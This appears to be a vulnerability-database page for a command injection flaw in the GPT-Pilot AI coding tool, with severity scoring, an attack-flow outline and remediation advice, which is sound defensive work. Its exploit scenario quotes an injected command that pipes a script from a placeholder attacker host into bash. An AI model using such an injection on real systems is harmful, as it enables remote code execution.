Skip to main content

GPT-Pilot EUVDEUVD-2026-29054

| CVE-2026-31246 MEDIUM
OS Command Injection (CWE-78)
2026-05-11 mitre GHSA-m85w-whwh-qvfx
6.5
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Access GPT-Pilot session (local or network)
  2. Delivery
    Trigger or await command confirmation prompt in Executor.run()
  3. Exploit
    Inject shell metacharacters into free-text input
  4. Execution
    asyncio.create_subprocess_shell() passes unsanitized string to /bin/sh
  5. Impact
    Execute arbitrary commands as GPT-Pilot process

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires GPT-Pilot to reach the interactive command confirmation state in Executor.run(), which is triggered during normal AI-driven project execution whenever the tool proposes a shell command and prompts the user to confirm or modify it before running. The attacker must be able to supply input at this specific prompt - either as the local operator of GPT-Pilot, or as a remote user if the GPT-Pilot process or its interface is network-accessible. The CVSS PR:N assignment indicates no authentication is required to interact with the confirmation prompt once access is available. Exploitation is limited by two factors: the confirmation workflow must be actively triggered (GPT-Pilot must be running and in command-execution mode), and the attacker must have the ability to provide input at that moment rather than the intended user. Single-developer local CLI use is the lowest-risk scenario; shared session environments or network-exposed GPT-Pilot deployments substantially widen the attack surface.

Impact

The NVD-assigned CVSS 6.5 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N) contains multiple metrics that appear inconsistent with the vulnerability description and warrant scrutiny. First, UI:N conflicts with the description's explicit statement that exploitation occurs 'when the system prompts the user to confirm or modify a command' - a user interaction step is required, suggesting UI:R. Second, AV:N overstates the attack surface for a tool that is almost exclusively deployed as a local CLI developer utility; only explicitly network-exposed deployments would justify AV:N. Third, C:L and I:L significantly understate the actual impact of command injection leading to arbitrary shell execution, which typically yields full C:H/I:H/A:H. SSVC independently rates exploitation as 'none' and automatable as 'no,' both consistent with a UI:R interpretation and reinforcing that this is not a point-and-shoot attack. EPSS at 0.14% confirms low exploitation activity. The absence of a KEV listing and no identified public POC further reduce urgency. Real-world risk is moderate for single-developer local use (where the user would be self-exploiting), but meaningfully higher in shared or team deployments where multiple parties can interact with a running GPT-Pilot session.

Exploit ScenarioDerived

A developer or attacker with access to a running GPT-Pilot session waits for the tool to enter command confirmation mode during normal AI-driven project execution. Instead of accepting or making benign edits to the proposed command, the actor inputs a crafted string such as 'build_cmd; curl attacker.com/shell.sh | bash', which asyncio.create_subprocess_shell() passes verbatim to /bin/sh, executing both the original command and the injected payload with the privileges of the GPT-Pilot process. No public POC has been identified, but the exploitation path requires minimal technical sophistication given Python's transparent shell metacharacter interpretation.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 24, 2026

Command injection in GPT-Pilot's Executor.run() method enables arbitrary shell command execution through the interactive command confirmation workflow, affecting all versions through commit 0819827ce20346ef5f25b3fe29293cb448840565 (2025-09-03). An actor with access to the confirmation prompt - locally or via a network-exposed deployment - can substitute malicious shell commands that are passed unsanitized to asyncio.create_subprocess_shell(), executing with the full privileges of the GPT-Pilot process. No active exploitation has been confirmed (not in CISA KEV), and EPSS at 0.14% (33rd percentile) reflects low current exploitation activity, though the RCE impact class warrants attention in multi-user or network-exposed deployments.

RemediationAI

The primary fix is to update GPT-Pilot to any commit beyond 0819827ce20346ef5f25b3fe29293cb448840565, once a patched version is confirmed via the repository at https://github.com/Pythagora-io/gpt-pilot or the vendor advisory at https://www.notion.so/CVE-2026-31246-35d1e1393188812ea3c6c88ad28d3d57. No specific patched version or release tag has been confirmed from the available data. If a patch is not yet available, the root fix at the code level is to replace asyncio.create_subprocess_shell() with asyncio.create_subprocess_exec() using pre-tokenized argument lists, which bypasses shell interpretation entirely and eliminates the injection surface. As a compensating control in multi-user or shared deployments, restrict interactive access to the GPT-Pilot process to trusted users only, or disable the free-text command modification feature in the confirmation workflow until patched. Disabling shell=True equivalents eliminates the injection path but requires refactoring command construction logic throughout Executor.run().

Affected VersionsENISA

n/a n/a

Affected Packages

pypi gpt-pilot no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

GPT-Pilot is a Python-based AI software development assistant that autonomously generates and executes shell commands to build software. The vulnerable Executor.run() method uses Python's asyncio.create_subprocess_shell() - the async equivalent of subprocess.Popen(shell=True) - to run AI-generated commands. The shell=True mode passes the command string to /bin/sh, which interprets metacharacters (;, &&, |, $(), backticks) as control operators. The interactive confirmation step was designed as a safety gate allowing users to review or modify commands before execution, but because free-text input is concatenated directly into the shell command string without stripping special characters, it becomes the injection vector rather than a safeguard. This matches CWE-78 (Improper Neutralization of Special Elements used in an OS Command) exactly. CPE data in NVD is populated as n/a, so no automated CPE-based version detection is possible; the affected version boundary is defined only by the specific git commit hash.

Know when N A gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 6.5 MEDIUM
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
vuln.today AI 7.8 HIGH

AV:L reflects typical local CLI deployment; UI:R reflects the mandatory confirmation prompt; C/I/A:H reflects full arbitrary shell execution potential.

3.1 AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from NVD.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

3
CVSS changed
May 12, 2026 - 19:22 NVD
6.5 (MEDIUM)
CVE Published
May 11, 2026 - 00:00 nvd
MEDIUM 6.5
CVE Published
May 11, 2026 - 00:00 nvd
UNKNOWN (no severity yet)

DescriptionCVE.org

GPT-Pilot thru commit 0819827ce20346ef5f25b3fe29293cb448840565 (2025-09-03) contains a command injection vulnerability (CWE-78) in the Executor.run() method. During project execution, when the system prompts the user to confirm or modify a command to be run, it accepts free-text input without proper validation. The user-supplied input is directly passed to asyncio.create_subprocess_shell() for execution. This allows an attacker to replace the intended command with arbitrary shell commands, leading to remote code execution with the privileges of the GPT-Pilot process.

Threat Intelligence Overview

EPSS Score
0.1%
Top 67% exploitable
Prevalence
Low
niche AI developer tool, limited enterprise or production footprint
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.1%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in N A

View all
CVE-2024-51092 CRITICAL POC
9.1 May 08

LibreNMS before 24.10.0 allows a remote attacker to execute arbitrary code via OS command injection involving AboutContr

CVE-2025-15684 MEDIUM POC
5.5 Aug 12

Reachable assertion in Open5GS up to version 2.7.6 allows remote unauthenticated attackers to crash the Diameter CER han

CVE-2024-45257 HIGH POC
7.3 May 08

A Command Injection issue in the payload build page in BYOB (Build Your Own Botnet) 2.0 allows attackers to execute arbi

CVE-2025-15687 LOW POC
2.1 Aug 12

Denial of service in Open5GS 2.7.6 and earlier allows network-adjacent attackers with low-privilege Diameter Gx peer acc

CVE-2025-15686 LOW POC
2.1 Aug 12

Denial of service in Open5GS HSS (Home Subscriber Server) versions 2.7.0 through 2.7.6 is triggered remotely by manipula

CVE-2025-67888 HIGH POC
7.3 May 08

Remote command injection in Control Web Panel allows unauthenticated attackers to execute arbitrary OS commands as root

CVE-2024-53326 HIGH POC
7.3 May 08

LINQPad before 5.52.01 Pro edition is vulnerable to Unsafe Deserialization in LINQPad.AutoRefManager::PopulateFromCache(

CVE-2026-38360 CRITICAL POC
9.8 May 08

Remote code execution in dash-uploader (Python package for Plotly Dash) versions 0.1.0 through 0.7.0a2 allows unauthenti

CVE-2026-30623 CRITICAL POC
9.8 Jul 15

Command injection in LiteLLM 1.18.10 lets attackers who can configure MCP (Model Context Protocol) servers supply arbitr

CVE-2026-67917 CRITICAL POC
9.8 Aug 17

SQL injection in AzuraCast's backup restore flow (versions up to and including 0.23.7) lets an attacker achieve privileg

CVE-2026-75337 CRITICAL POC
9.8 Aug 27

Arbitrary file read in Yu AI Code Mother v4.3 lets anonymous, remote attackers retrieve files outside the intended previ

CVE-2026-31072 CRITICAL POC
9.8 May 19

Remote code execution in APScheduler (all versions through 3.10.x and 4.0.0a5) is achievable when applications deseriali

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy